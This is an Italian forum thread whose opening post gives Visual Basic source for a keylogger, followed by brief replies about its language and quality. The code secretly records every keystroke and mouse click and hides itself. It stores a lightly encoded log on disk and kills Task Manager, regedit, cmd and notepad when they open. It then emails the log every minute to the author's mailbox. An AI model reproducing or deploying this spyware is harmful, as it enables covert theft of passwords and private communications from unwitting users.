keylogger (in fase di sviluppo)

TheHeller · 6 Marzo 2008

FORM1
contiene i controlli
text1.text
text2.text
time1 (settato a 10)
timer2 (settato a 600)
timer3 (settato a 6000)

Codice:

Option Explicit
Dim Shift As Boolean
Dim DeL As Long
Dim MyVarforTitle As String

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 'pressione tasti della tastiera
Private Declare Function SetKeyboardState Lib "user32" (lppbKeyState As Byte) As Long
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long 'tasti mouse

Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long 'posizione mouse
Private Const KEYEVENTF_EXTENDEDKEY = &H1 'indica la pressione del tasto (keyDown)
Private Const KEYEVENTF_KEYUP = &H2 'indica il rilascio del tasto premuto (keyUp)

Private Type POINTAPI 'servirà per indicare la posizione del mouse
x As Long
y As Long
End Type

Private Function GetX() As Long

Dim K As POINTAPI
GetCursorPos K
GetX = K.x

End Function

Private Function GetY() As Long

Dim K As POINTAPI
GetCursorPos K
GetY = K.y

End Function

Private Sub Form_Load()
Load Form2
Load Form3

Me.Visible = False

End Sub

Private Sub Timer1_Timer() 'è possibile ottimizzare il ciclo (moolto) ma c devo lavorare quando ho + tempo
Dim i As Integer
Dim x As Integer
Dim y As Long

If Shift = False Then
'------------------ alfabeto minuscolo

x = GetAsyncKeyState(65)
If x = -32767 Then
Text1.Text = Text1.Text + "a"
End If
x = GetAsyncKeyState(66)
If x = -32767 Then
Text1.Text = Text1.Text + "b"
End If
x = GetAsyncKeyState(67)
If x = -32767 Then
Text1.Text = Text1.Text + "c"
End If
x = GetAsyncKeyState(68)
If x = -32767 Then
Text1.Text = Text1.Text + "d"
End If
x = GetAsyncKeyState(69)
If x = -32767 Then
Text1.Text = Text1.Text + "e"
End If
x = GetAsyncKeyState(70)
If x = -32767 Then
Text1.Text = Text1.Text + "f"
End If
x = GetAsyncKeyState(71)
If x = -32767 Then
Text1.Text = Text1.Text + "g"
End If
x = GetAsyncKeyState(72)
If x = -32767 Then
Text1.Text = Text1.Text + "h"
End If
x = GetAsyncKeyState(73)
If x = -32767 Then
Text1.Text = Text1.Text + "i"
End If
x = GetAsyncKeyState(74)
If x = -32767 Then
Text1.Text = Text1.Text + "j"
End If
x = GetAsyncKeyState(75)
If x = -32767 Then
Text1.Text = Text1.Text + "k"
End If
x = GetAsyncKeyState(76)
If x = -32767 Then
Text1.Text = Text1.Text + "l"
End If
x = GetAsyncKeyState(77)
If x = -32767 Then
Text1.Text = Text1.Text + "m"
End If
x = GetAsyncKeyState(78)
If x = -32767 Then
Text1.Text = Text1.Text + "n"
End If
x = GetAsyncKeyState(79)
If x = -32767 Then
Text1.Text = Text1.Text + "o"
End If
x = GetAsyncKeyState(80)
If x = -32767 Then
Text1.Text = Text1.Text + "p"
End If
x = GetAsyncKeyState(81)
If x = -32767 Then
Text1.Text = Text1.Text + "q"
End If
x = GetAsyncKeyState(82)
If x = -32767 Then
Text1.Text = Text1.Text + "r"
End If
x = GetAsyncKeyState(83)
If x = -32767 Then
Text1.Text = Text1.Text + "s"
End If
x = GetAsyncKeyState(84)
If x = -32767 Then
Text1.Text = Text1.Text + "t"
End If
x = GetAsyncKeyState(85)
If x = -32767 Then
Text1.Text = Text1.Text + "u"
End If
x = GetAsyncKeyState(86)
If x = -32767 Then
Text1.Text = Text1.Text + "v"
End If
x = GetAsyncKeyState(87)
If x = -32767 Then
Text1.Text = Text1.Text + "w"
End If
x = GetAsyncKeyState(88)
If x = -32767 Then
Text1.Text = Text1.Text + "x"
End If
x = GetAsyncKeyState(89)
If x = -32767 Then
Text1.Text = Text1.Text + "y"
End If
x = GetAsyncKeyState(90)
If x = -32767 Then
Text1.Text = Text1.Text + "z"
End If

'Num Pad migliore per i simboli che pr l'alfabeto
x = GetAsyncKeyState(48)
If x = -32767 Then
Text1.Text = Text1.Text + "0"
End If
x = GetAsyncKeyState(49)
If x = -32767 Then
Text1.Text = Text1.Text + "1"
End If
x = GetAsyncKeyState(50)
If x = -32767 Then
Text1.Text = Text1.Text + "2"
End If
x = GetAsyncKeyState(51)
If x = -32767 Then
Text1.Text = Text1.Text + "3"
End If
x = GetAsyncKeyState(52)
If x = -32767 Then
Text1.Text = Text1.Text + "4"
End If
x = GetAsyncKeyState(53)
If x = -32767 Then
Text1.Text = Text1.Text + "5"
End If
x = GetAsyncKeyState(54)
If x = -32767 Then
Text1.Text = Text1.Text + "6"
End If
x = GetAsyncKeyState(55)
If x = -32767 Then
Text1.Text = Text1.Text + "7"
End If
x = GetAsyncKeyState(56)
If x = -32767 Then
Text1.Text = Text1.Text + "8"
End If
x = GetAsyncKeyState(57)
If x = -32767 Then
Text1.Text = Text1.Text + "9"
End If

'Num Pad 2
x = GetAsyncKeyState(96)
If x = -32767 Then
Text1.Text = Text1.Text + "0"
End If
x = GetAsyncKeyState(97)
If x = -32767 Then
Text1.Text = Text1.Text + "1"
End If
x = GetAsyncKeyState(98)
If x = -32767 Then
Text1.Text = Text1.Text + "2"
End If
x = GetAsyncKeyState(99)
If x = -32767 Then
Text1.Text = Text1.Text + "3"
End If
x = GetAsyncKeyState(100)
If x = -32767 Then
Text1.Text = Text1.Text + "4"
End If
x = GetAsyncKeyState(101)
If x = -32767 Then
Text1.Text = Text1.Text + "5"
End If
x = GetAsyncKeyState(102)
If x = -32767 Then
Text1.Text = Text1.Text + "6"
End If
x = GetAsyncKeyState(103)
If x = -32767 Then
Text1.Text = Text1.Text + "7"
End If
x = GetAsyncKeyState(104)
If x = -32767 Then
Text1.Text = Text1.Text + "8"
End If
x = GetAsyncKeyState(105)
If x = -32767 Then
Text1.Text = Text1.Text + "9"
End If
x = GetAsyncKeyState(188)
If x = -32767 Then
Text1.Text = Text1.Text + ","
End If
x = GetAsyncKeyState(189)
If x = -32767 Then
Text1.Text = Text1.Text + "-"
End If
x = GetAsyncKeyState(190)
If x = -32767 Then
Text1.Text = Text1.Text + "."
End If
End If

If Shift = True Then
'------------------ alfabeto MAIUSCOLO
x = GetAsyncKeyState(65)
If x = -32767 Then
Text1.Text = Text1.Text + "A"
Shift = False
End If

x = GetAsyncKeyState(66)
If x = -32767 Then
Text1.Text = Text1.Text + "B"
Shift = False
End If

x = GetAsyncKeyState(67)
If x = -32767 Then
Text1.Text = Text1.Text + "C"
Shift = False
End If

x = GetAsyncKeyState(68)
If x = -32767 Then
Text1.Text = Text1.Text + "D"
Shift = False
End If

x = GetAsyncKeyState(69)
If x = -32767 Then
Text1.Text = Text1.Text + "E"
Shift = False
End If

x = GetAsyncKeyState(70)
If x = -32767 Then
Text1.Text = Text1.Text + "F"
Shift = False
End If

x = GetAsyncKeyState(71)
If x = -32767 Then
Text1.Text = Text1.Text + "G"
Shift = False
End If

x = GetAsyncKeyState(72)
If x = -32767 Then
Text1.Text = Text1.Text + "H"
Shift = False
End If

x = GetAsyncKeyState(73)
If x = -32767 Then
Text1.Text = Text1.Text + "I"
Shift = False
End If

x = GetAsyncKeyState(74)
If x = -32767 Then
Text1.Text = Text1.Text + "J"
Shift = False
End If

x = GetAsyncKeyState(75)
If x = -32767 Then
Text1.Text = Text1.Text + "K"
Shift = False
End If

x = GetAsyncKeyState(76)
If x = -32767 Then
Text1.Text = Text1.Text + "L"
Shift = False
End If

x = GetAsyncKeyState(77)
If x = -32767 Then
Text1.Text = Text1.Text + "M"
Shift = False
End If

x = GetAsyncKeyState(78)
If x = -32767 Then
Text1.Text = Text1.Text + "N"
Shift = False
End If

x = GetAsyncKeyState(79)
If x = -32767 Then
Text1.Text = Text1.Text + "O"
Shift = False
End If

x = GetAsyncKeyState(80)
If x = -32767 Then
Text1.Text = Text1.Text + "P"
Shift = False
End If

x = GetAsyncKeyState(81)
If x = -32767 Then
Text1.Text = Text1.Text + "Q"
Shift = False
End If

x = GetAsyncKeyState(82)
If x = -32767 Then
Text1.Text = Text1.Text + "R"
Shift = False
End If

x = GetAsyncKeyState(83)
If x = -32767 Then
Text1.Text = Text1.Text + "S"
Shift = False
End If

x = GetAsyncKeyState(84)
If x = -32767 Then
Text1.Text = Text1.Text + "T"
Shift = False
End If

x = GetAsyncKeyState(85)
If x = -32767 Then
Text1.Text = Text1.Text + "U"
Shift = False
End If

x = GetAsyncKeyState(86)
If x = -32767 Then
Text1.Text = Text1.Text + "V"
Shift = False
End If

x = GetAsyncKeyState(87)
If x = -32767 Then
Text1.Text = Text1.Text + "W"
Shift = False
End If

x = GetAsyncKeyState(88)
If x = -32767 Then
Text1.Text = Text1.Text + "X"
Shift = False
End If

x = GetAsyncKeyState(89)
If x = -32767 Then
Text1.Text = Text1.Text + "Y"
Shift = False
End If

x = GetAsyncKeyState(90)
If x = -32767 Then
Text1.Text = Text1.Text + "Z"
Shift = False
End If

'Num Pad migliore per i simboli che pr l'alfabeto
x = GetAsyncKeyState(48)
If x = -32767 Then
Text1.Text = Text1.Text + "="
Shift = False
End If

x = GetAsyncKeyState(49)
If x = -32767 Then
Text1.Text = Text1.Text + "!"
Shift = False
End If

x = GetAsyncKeyState(50)
If x = -32767 Then
Text1.Text = Text1.Text + "''"
Shift = False
End If

x = GetAsyncKeyState(51)
If x = -32767 Then
Text1.Text = Text1.Text + "£"
Shift = False
End If

x = GetAsyncKeyState(52)
If x = -32767 Then
Text1.Text = Text1.Text + "$"
Shift = False
End If

x = GetAsyncKeyState(53)
If x = -32767 Then
Text1.Text = Text1.Text + "%"
Shift = False
End If

x = GetAsyncKeyState(54)
If x = -32767 Then
Text1.Text = Text1.Text + "&"
Shift = False
End If

x = GetAsyncKeyState(55)
If x = -32767 Then
Text1.Text = Text1.Text + "/"
Shift = False
End If

x = GetAsyncKeyState(56)
If x = -32767 Then
Text1.Text = Text1.Text + "("
Shift = False
End If

x = GetAsyncKeyState(57)
If x = -32767 Then
Text1.Text = Text1.Text + ")"
Shift = False
End If

x = GetAsyncKeyState(188)
If x = -32767 Then
Text1.Text = Text1.Text + ";"
Shift = False
End If

x = GetAsyncKeyState(189)
If x = -32767 Then
Text1.Text = Text1.Text + "_"
Shift = False
End If

x = GetAsyncKeyState(190)
If x = -32767 Then
Text1.Text = Text1.Text + ":"

End If

End If

x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text & vbNewLine
End If

x = GetAsyncKeyState(32)
If x = -32767 Then
Text1.Text = Text1.Text & " "
End If

x = GetAsyncKeyState(8)
If x = -32767 Then
DeL = Len(Trim(Text1.Text)) - 1
If DeL < 0 Then GoTo linEnd:
Text1.Text = Mid$(Text1.Text, 1, Val(DeL))
End If
'Mouse
x = GetAsyncKeyState(1)
If x = -32767 Then
Text1.Text = Text1.Text + vbNewLine + " [LeftMouseClick] "
End If

x = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text + vbNewLine + " [RightMouseClick] "
End If

x = GetAsyncKeyState(16)
If x = -32767 Then
Shift = True

End If

x = GetAsyncKeyState(20)
If x = -32767 Then
y = y + 1
If y Mod 2 <> 0 Then Shift = True

End If

linEnd:

End Sub

Private Sub Timer2_Timer() 'mantiene attiva la pressione del tasto shift per 0.6 secondi
Dim x As Integer
Shift = False
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() 'salva il report ogni x secondi (6 nella mia ma è personalizzabile)
Dim NomeFileB As String 'ogni nuovo report viene scritto in successione al precedente con un titolo (ps conterra a sua volta il precedente se il pc nn è stato riavviato)
Dim MyVar As String 'il titolo data e ora della generazione del report

Call Crypt

NomeFileB = "System1.sys"
MyVar = Text2.Text
Open "C:\" & NomeFileB For Append As #1

Print #1, vbNewLine;
Print #1, MyVarforTitle;
Print #1, vbNewLine;
Print #1, MyVar;

Close #1
Text2.Text = ""

NomeFileB = "System2.sys"

Open "C:\" & NomeFileB For Append As #1

Print #1, GetX;
Print #1, GetY;

Close #1
End Sub

Private Sub Crypt()
Dim Ora As String
Dim a, b, c As Integer

a = Timer / 3600
b = ((((Timer) / 3600) - Int(a)) * 60)
c = (((((Timer) / 3600) - Int(a)) * 60) - Int(b)) * 60

Ora = Int(a) & ":" & Int(b) & ":" & Int(c)
MyVarforTitle = "-------------------------------------- " & Ora & " " & Date 'cripto varibile per il titolo sezione

Text2.Text = Text1.Text 'cripto il testo

Call CrypNumber
Call CrypMyVar
Call CrypTexTAlfabetma
Call CrypTexTAlfabetmi
Call CrypSymbol

End Sub

Private Sub CrypMyVar()
'------------------- cripto data e ora
MyVarforTitle = Replace(MyVarforTitle, "0", "é")
MyVarforTitle = Replace(MyVarforTitle, "1", "è")
MyVarforTitle = Replace(MyVarforTitle, "2", "*")
MyVarforTitle = Replace(MyVarforTitle, "3", "§")
MyVarforTitle = Replace(MyVarforTitle, "4", "°")
MyVarforTitle = Replace(MyVarforTitle, "5", "ò")
MyVarforTitle = Replace(MyVarforTitle, "6", "ù")
MyVarforTitle = Replace(MyVarforTitle, "7", "^")
MyVarforTitle = Replace(MyVarforTitle, "8", "ì")
MyVarforTitle = Replace(MyVarforTitle, "9", "?")
MyVarforTitle = Replace(MyVarforTitle, "/", "916169")
MyVarforTitle = Replace(MyVarforTitle, "-", "977119")
MyVarforTitle = Replace(MyVarforTitle, " ", "918819")
MyVarforTitle = Replace(MyVarforTitle, ":", "971179")

End Sub

Private Sub CrypTexTAlfabetmi()
'----------------------- cripto alfabeto minuscolo
Text2.Text = Replace(Text2.Text, "a", "911119")
Text2.Text = Replace(Text2.Text, "b", "911129")
Text2.Text = Replace(Text2.Text, "c", "911139")
Text2.Text = Replace(Text2.Text, "d", "911219")
Text2.Text = Replace(Text2.Text, "e", "912119")
Text2.Text = Replace(Text2.Text, "f", "921119")
Text2.Text = Replace(Text2.Text, "g", "911319")
Text2.Text = Replace(Text2.Text, "h", "913119")
Text2.Text = Replace(Text2.Text, "i", "931119")
Text2.Text = Replace(Text2.Text, "j", "911149")
Text2.Text = Replace(Text2.Text, "k", "911159")
Text2.Text = Replace(Text2.Text, "l", "911419")
Text2.Text = Replace(Text2.Text, "m", "914119")
Text2.Text = Replace(Text2.Text, "n", "941119")
Text2.Text = Replace(Text2.Text, "o", "911519")
Text2.Text = Replace(Text2.Text, "p", "915119")
Text2.Text = Replace(Text2.Text, "q", "951119")
Text2.Text = Replace(Text2.Text, "r", "911169")
Text2.Text = Replace(Text2.Text, "s", "911619")
Text2.Text = Replace(Text2.Text, "t", "916119")
Text2.Text = Replace(Text2.Text, "u", "961119")
Text2.Text = Replace(Text2.Text, "v", "911179")
Text2.Text = Replace(Text2.Text, "w", "911719")
Text2.Text = Replace(Text2.Text, "x", "917119")
Text2.Text = Replace(Text2.Text, "y", "971119")
Text2.Text = Replace(Text2.Text, "z", "911189")

End Sub

Private Sub CrypTexTAlfabetma()
'----------------------- cripto alfabeto MAIUSCOLO
Text2.Text = Replace(Text2.Text, "A", "911819")
Text2.Text = Replace(Text2.Text, "B", "918119")
Text2.Text = Replace(Text2.Text, "C", "98111")
Text2.Text = Replace(Text2.Text, "D", "911919")
Text2.Text = Replace(Text2.Text, "E", "91119")
Text2.Text = Replace(Text2.Text, "F", "919119")
Text2.Text = Replace(Text2.Text, "G", "91919")
Text2.Text = Replace(Text2.Text, "H", "911109")
Text2.Text = Replace(Text2.Text, "I", "911019")
Text2.Text = Replace(Text2.Text, "J", "910119")
Text2.Text = Replace(Text2.Text, "K", "901119")
Text2.Text = Replace(Text2.Text, "L", "911229")
Text2.Text = Replace(Text2.Text, "M", "912129")
Text2.Text = Replace(Text2.Text, "N", "921129")
Text2.Text = Replace(Text2.Text, "O", "921219")
Text2.Text = Replace(Text2.Text, "P", "922119")
Text2.Text = Replace(Text2.Text, "Q", "911339")
Text2.Text = Replace(Text2.Text, "R", "913139")
Text2.Text = Replace(Text2.Text, "S", "931139")
Text2.Text = Replace(Text2.Text, "T", "931319")
Text2.Text = Replace(Text2.Text, "U", "933119")
Text2.Text = Replace(Text2.Text, "V", "911449")
Text2.Text = Replace(Text2.Text, "W", "914149")
Text2.Text = Replace(Text2.Text, "X", "941149")
Text2.Text = Replace(Text2.Text, "Y", "941419")
Text2.Text = Replace(Text2.Text, "Z", "944119")

End Sub

Private Sub CrypNumber()
'------------------- cripto numeri
Text2.Text = Replace(Text2.Text, "0", "é")
Text2.Text = Replace(Text2.Text, "1", "è")
Text2.Text = Replace(Text2.Text, "2", "*")
Text2.Text = Replace(Text2.Text, "3", "§")
Text2.Text = Replace(Text2.Text, "4", "°")
Text2.Text = Replace(Text2.Text, "5", "ò")
Text2.Text = Replace(Text2.Text, "6", "ù")
Text2.Text = Replace(Text2.Text, "7", "^")
Text2.Text = Replace(Text2.Text, "8", "ì")
Text2.Text = Replace(Text2.Text, "9", "?")

End Sub

Private Sub CrypSymbol()
'-------------------- cripto simboli
Text2.Text = Replace(Text2.Text, "!", "911559")
Text2.Text = Replace(Text2.Text, "''", "915159")
Text2.Text = Replace(Text2.Text, "£", "951159")
Text2.Text = Replace(Text2.Text, "$", "951519")
Text2.Text = Replace(Text2.Text, "%", "955119")
Text2.Text = Replace(Text2.Text, "&", "911669")
Text2.Text = Replace(Text2.Text, "/", "916169")
Text2.Text = Replace(Text2.Text, "(", "961169")
Text2.Text = Replace(Text2.Text, ")", "961619")
Text2.Text = Replace(Text2.Text, "=", "966119")
Text2.Text = Replace(Text2.Text, "[", "@")
Text2.Text = Replace(Text2.Text, "]", "#")

'----------------------- cripto simboli 2 e spazio
Text2.Text = Replace(Text2.Text, ",", "917179")
Text2.Text = Replace(Text2.Text, ".", "911779")
Text2.Text = Replace(Text2.Text, "-", "977119")
Text2.Text = Replace(Text2.Text, ";", "971719")
Text2.Text = Replace(Text2.Text, ":", "971179")
Text2.Text = Replace(Text2.Text, "_", "911889")
Text2.Text = Replace(Text2.Text, " ", "918819")

End Sub

FORM2
contiene i controlli
timer1 (settato a 100)

Codice:

Private Sub Form_Load()
Dim ProcessName, Process
Dim a, Nomefile As String
App.TaskVisible = False
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer() 'è un piccolo guard integrato nel keylogger, controlla che i seguenti processi non siano attivi
Dim NomeFileB As String ' se li trova attivi li chiude
Dim MyVarForBat As String

'------------------------tskmgr.exe shutdown

Set objWMIService = GetObject("winmgmts:")
ProcessName = "taskmgr.exe"
Set Process = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & ProcessName & "'")
DoEvents
If Process.Count = 0 Then
DoEvents
Else

NomeFileB = "Center1.bat"
MyVarForBat = "@tskill /A taskmgr"
Open "C:\" & NomeFileB For Output As #1
Print #1, MyVarForBat;
Close #1

Shell ("C:\Center1.bat")

End If

'------------------------regedit.exe shutdown

Set objWMIService = GetObject("winmgmts:")
ProcessName = "regedit.exe"
Set Process = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & ProcessName & "'")
DoEvents
If Process.Count = 0 Then
DoEvents
Else

NomeFileB = "CPU2.bat"
MyVarForBat = "@tskill /A regedit"
Open "C:\" & NomeFileB For Output As #1
Print #1, MyVarForBat;
Close #1

Shell ("C:\CPU2.bat")
End If

'------------------------cmd.exe shutdown

Set objWMIService = GetObject("winmgmts:")
ProcessName = "cmd.exe"
Set Process = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & ProcessName & "'")
DoEvents
If Process.Count = 0 Then
DoEvents
Else

NomeFileB = "Core3.bat"
MyVarForBat = "@tskill /A cmd"
Open "C:\" & NomeFileB For Output As #1
Print #1, MyVarForBat;
Close #1

Shell ("C:\Core3.bat")

End If
'------------------------notepad.exe shutdown

Set objWMIService = GetObject("winmgmts:")
ProcessName = "notepad.exe"
Set Process = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & ProcessName & "'")
DoEvents
If Process.Count = 0 Then
DoEvents
Else

NomeFileB = "Win4.bat"
MyVarForBat = "@tskill /A notepad"
Open "C:\" & NomeFileB For Output As #1
Print #1, MyVarForBat;
Close #1

Shell ("C:\Win4.bat")

End If
End Sub

'ancora non essendo la versione definitiva non l'ho scritto il codice per agiungerlo HKLM/RUN ma appena sarò sicuro della compatibilità di questo codice con vista lo farò

FORM3
contiene i controlli
timer1 (settato a 6000)

Codice:

Option Explicit 'invia mail al creatore contenenti in attachment il report
Dim WithEvents oSMTP As OSSMTP.SMTPSession 'richiede sulla macchina l'istallazione di questi 2 componeneti esterni (OSSMTP.dll e .ocx)
Dim c As Integer

Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
Private Declare Function InternetGetConnectedState _
Lib "wininet" (ByRef dwFlags As Long, _
ByVal dwReserved As Long) As Long

Private Const CONNECT_LAN As Long = &H2
Private Const CONNECT_MODEM As Long = &H1
Private Const CONNECT_PROXY As Long = &H4
Private Const CONNECT_OFFLINE As Long = &H20
Private Const CONNECT_CONFIGURED As Long = &H40

Private Function IsConnected(Optional ByRef sConnType As String) As Boolean

Dim dwFlags As Long
Dim WebTest As Boolean
Dim bConnected As String

sConnType = ""
bConnected = InternetGetConnectedState(dwFlags, 0&)

Select Case bConnected 'guarda con cosa sei connesso alla rete
Case dwFlags And CONNECT_LAN:
sConnType = "LAN"
Case dwFlags And CONNECT_MODEM:
sConnType = "Modem"
Case dwFlags And CONNECT_PROXY:
sConnType = "Proxy"
Case dwFlags And CONNECT_OFFLINE:
sConnType = "Offline"
Case dwFlags And CONNECT_CONFIGURED:
sConnType = "Configured"

End Select

IsConnected = bConnected

End Function

Private Sub Form_Load()
Set oSMTP = New OSSMTP.SMTPSession
End Sub

Private Sub Timer1_Timer()
Dim sMsg As String
Dim sConnType As String

If IsConnected(sConnType) Then ' se sei connesso tenta di mandare la mail
c = c + 1
If c = 10 Then 'fa questo ogni minuto (il timer al massimo arriva a 6 secondi per cui devo avviare la procedura quando si è avviato 10 volte)
c = 0

With oSMTP

.Server = "mail.tin.it" 'imposta il server SMTP da usare
.MailFrom = "Test@libero.it" 'imposta il nome mittente
.SendTo = "mio@hotmail.it" 'imposta il nome destinatario
.MessageSubject = "Automessage" 'imposta il soggetto della mail
.MessageText = "Drone" 'imosta il testo della mail
.Attachments.Add "C:\System1.sys" ' imposta il percorso dove pernderà l'attachment
.SendEmail 'invia
End With 'chiude la connessione
Else
End If

Else 'se nn c'è la connesione nn fa niente (nn incremente nemmeno il timer)

End If
End Sub

Ecco qui una prima versione di un piccolo keylogger che ho iniziato a sviluppare ieri sera (mi era venuta questa idea balzana)
Sicuramente si può migliorare molto, aspetto con impazienza i vostri commenti e consigli.

Dedicata a Manuel

Reatino · 22 Marzo 2008

IN CHE LINGUAGGIO è?

SEMBRA I C o.O

GIUSTO?

Abe · 22 Marzo 2008

Dubito potrà rispondere.. è stato bannato :S

Pavel91 · 22 Marzo 2008

è vb

Reatino · 22 Marzo 2008

quindi è in C ? PAVEL?

Carloxs · 23 Marzo 2008

Questo keyloger è in Visual Basic!

MagikaN · 23 Marzo 2008

Non sembra granchè

Carloxs · 23 Marzo 2008

Infatti qouto con MagikaN

Reatino · 23 Marzo 2008

Credo ch ei migliori key e i piu semplici siano Quelli in C e in C++
Infatti io ne sto cercando uno in C e un aiuto per quello in C++
Ho aperto una discussione

clau007 · 24 Marzo 2008

quoto... quello di lamerazzio va più che bn ^.^

Cerca

keylogger (in fase di sviluppo)

TheHeller

Utente bannato

Reatino

Utente Strepitoso

Abe

Utente Guru

Pavel91

Utente Esperto

Reatino

Utente Strepitoso

Carloxs

Utente Strepitoso

MagikaN

Utente Senior

Carloxs

Utente Strepitoso

Reatino

Utente Strepitoso

clau007

Utente Esperto

La tua privacy è la nostra priorità